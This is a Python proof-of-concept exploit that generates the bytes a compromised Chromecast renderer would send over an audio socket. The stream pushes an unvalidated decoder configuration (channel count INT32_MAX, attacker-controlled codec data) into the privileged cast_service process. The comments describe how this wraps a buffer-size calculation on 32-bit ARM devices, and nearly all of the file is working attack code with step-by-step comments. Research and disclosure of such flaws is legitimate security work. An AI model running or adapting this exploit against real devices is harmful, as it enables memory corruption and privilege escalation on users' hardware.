#!/usr/bin/env python3
# Generates the exact byte sequence a compromised cast_shell renderer would
# write to the FD returned by chromecast.mojom.AudioSocketBroker.GetSocketDescriptor()
# in order to deliver an unvalidated AudioConfig (channel_number = INT32_MAX,
# attacker-controlled extra_data) to the vendor MediaPipelineBackend::AudioDecoder
# inside the privileged cast_service process.
#
# Wire format derived from:
#   chromecast/net/small_message_socket.{h,cc}
#   chromecast/media/audio/net/audio_socket.cc      (SendProto / OnMessage)
#   chromecast/media/audio/audio_output_service/audio_output_service.proto
#   chromecast/media/audio/net/common.proto

import struct
import sys

# ---------------------------------------------------------------------------
# Minimal protobuf wire-format encoder (no external deps).
# ---------------------------------------------------------------------------

def varint(v: int) -> bytes:
    if v < 0:
        # proto2 int32 negatives are encoded as 10-byte varints (two's-complement
        # uint64). Not needed here but kept for completeness.
        v &= 0xFFFFFFFFFFFFFFFF
    out = bytearray()
    while True:
        b = v & 0x7F
        v >>= 7
        if v:
            out.append(b | 0x80)
        else:
            out.append(b)
            return bytes(out)

def tag(field_no: int, wire_type: int) -> bytes:
    return varint((field_no << 3) | wire_type)

def kv_varint(field_no: int, value: int) -> bytes:
    return tag(field_no, 0) + varint(value)

def kv_len(field_no: int, payload: bytes) -> bytes:
    return tag(field_no, 2) + varint(len(payload)) + payload

# ---------------------------------------------------------------------------
# audio_output_service.proto / common.proto enum values
# ---------------------------------------------------------------------------

AUDIO_CODEC_AAC          = 1
AUDIO_CODEC_PCM          = 3
AUDIO_CODEC_EAC3         = 7
CHANNEL_LAYOUT_DISCRETE  = 5     # static_cast -> media::ChannelLayout::DISCRETE
SAMPLE_FORMAT_FLOAT_P    = 5

INT32_MAX                = 0x7FFFFFFF
SAMPLE_RATE              = 192000  # == kMaxSampleRate; passes IsValidConfig() on
                                   # backends that check it in release while still
                                   # being attacker-chosen.

# Attacker-controlled codec-init blob delivered verbatim to the vendor decoder
# (AAC AudioSpecificConfig / Opus header / FLAC STREAMINFO / EAC3 etc).
EXTRA_DATA = bytes(range(64))    # 64 arbitrary bytes; replace as needed.

# ---------------------------------------------------------------------------
# Build:  Generic { backend_params { application_media_info, audio_decoder_config } }
# ---------------------------------------------------------------------------

def build_audio_decoder_config(codec: int, num_channels: int,
                               sample_rate: int, extra_data: bytes) -> bytes:
    m  = kv_varint(1, codec)                     # audio_codec
    m += kv_varint(2, CHANNEL_LAYOUT_DISCRETE)   # channel_layout
    m += kv_varint(3, SAMPLE_FORMAT_FLOAT_P)     # sample_format
    m += kv_varint(4, num_channels)              # num_channels   <-- UNVALIDATED
    m += kv_varint(5, sample_rate)               # sample_rate    <-- UNVALIDATED
    m += kv_len   (6, extra_data)                # extra_data     <-- UNVALIDATED
    return m

def build_backend_params(codec: int, num_channels: int,
                         sample_rate: int, extra_data: bytes) -> bytes:
    app_media_info       = kv_len(1, b"poc-session")           # application_session_id
    audio_decoder_config = build_audio_decoder_config(codec, num_channels,
                                                      sample_rate, extra_data)
    m  = kv_len(1, app_media_info)        # application_media_info
    m += kv_len(2, audio_decoder_config)  # audio_decoder_config
    return m

def build_generic_backend_params(codec: int, num_channels: int,
                                 sample_rate: int, extra_data: bytes) -> bytes:
    return kv_len(1, build_backend_params(codec, num_channels,
                                          sample_rate, extra_data))

def build_generic_start(start_pts: int = 0) -> bytes:
    # Generic.set_start_timestamp = 2 { start_pts = 2 }
    return kv_len(2, kv_varint(2, start_pts))

# ---------------------------------------------------------------------------
# AudioSocket / SmallMessageSocket framing (see audio_socket.cc::SendProto)
#
#   [u16 BE  total_size]             <- SmallMessageSocket length prefix
#   [u16 BE  packet_type = 0]        <- MessageType::kMetadata
#   [u32 BE  padding_bytes (0..3)]
#   [proto bytes]
#   [padding zeros]
# ---------------------------------------------------------------------------

def frame_metadata(proto_bytes: bytes) -> bytes:
    padding = (4 - (len(proto_bytes) % 4)) % 4
    body = struct.pack(">H", 0)               # packet_type = kMetadata (BE u16)
    body += struct.pack(">I", padding)        # padding_bytes (BE u32)
    body += proto_bytes
    body += b"\x00" * padding
    assert len(body) < 0xFFFF, "use 6-byte size header for large messages"
    return struct.pack(">H", len(body)) + body

# Audio frame (see audio_socket.cc::PrepareAudioBuffer):
#   [u16 BE size] [int16 host-order type=1] [int64 host-order timestamp] [u32 pad=0] [audio]
def frame_audio(audio_bytes: bytes, timestamp_us: int = 0) -> bytes:
    hdr  = struct.pack("<h", 1)               # MessageType::kAudio (host LE int16)
    hdr += struct.pack("<q", timestamp_us)    # int64 timestamp (host LE)
    hdr += struct.pack("<I", 0)               # 4-byte padding
    body = hdr + audio_bytes
    assert len(body) < 0xFFFF
    return struct.pack(">H", len(body)) + body

# ---------------------------------------------------------------------------
# Full attack sequence
# ---------------------------------------------------------------------------

def build_attack_stream() -> bytes:
    out = b""

    # 1) Initial backend_params with hostile AudioDecoderConfig.
    #    Receiver::InitialSocket::HandleMetadata -> CreateOutputStream
    #    -> Stream::HandleMetadata -> new CmaBackendShim -> InitializeOnMediaThread
    #    -> SetAudioConfig() -> audio_decoder_->SetConfig({channel_number=INT32_MAX,...})
    out += frame_metadata(
        build_generic_backend_params(AUDIO_CODEC_AAC, INT32_MAX,
                                     SAMPLE_RATE, EXTRA_DATA))

    # 2) Start playback so the backend allocates buffers / engages mixer input.
    #    On AudioDecoderForMixer (32-bit ARM Cast targets) Start() ->
    #    CreateBufferPool(): frame_count*sizeof(float)*INT32_MAX wraps -> undersized pool.
    out += frame_metadata(build_generic_start(0))

    # 3) Push one audio buffer so the (potentially undersized) pool is exercised
    #    and so that mid-stream re-SetConfig hits live decoder state.
    out += frame_audio(b"\x00" * 256, 0)

    # 4) Mid-stream reconfigure: HandleMetadata -> UpdateAudioConfig
    #    -> UpdateAudioConfigOnMediaThread -> SetAudioConfig() against an
    #    already-allocated vendor decoder.
    out += frame_metadata(
        build_generic_backend_params(AUDIO_CODEC_EAC3, INT32_MAX,
                                     SAMPLE_RATE, EXTRA_DATA * 16))

    return out

if __name__ == "__main__":
    blob = build_attack_stream()
    if len(sys.argv) > 1:
        with open(sys.argv[1], "wb") as f:
            f.write(blob)
        sys.stderr.write(f"wrote {len(blob)} bytes -> {sys.argv[1]}\n")
    else:
        sys.stdout.write(", ".join(f"0x{b:02x}" for b in blob))
        sys.stdout.write("\n")
        sys.stderr.write(f"({len(blob)} bytes)\n")
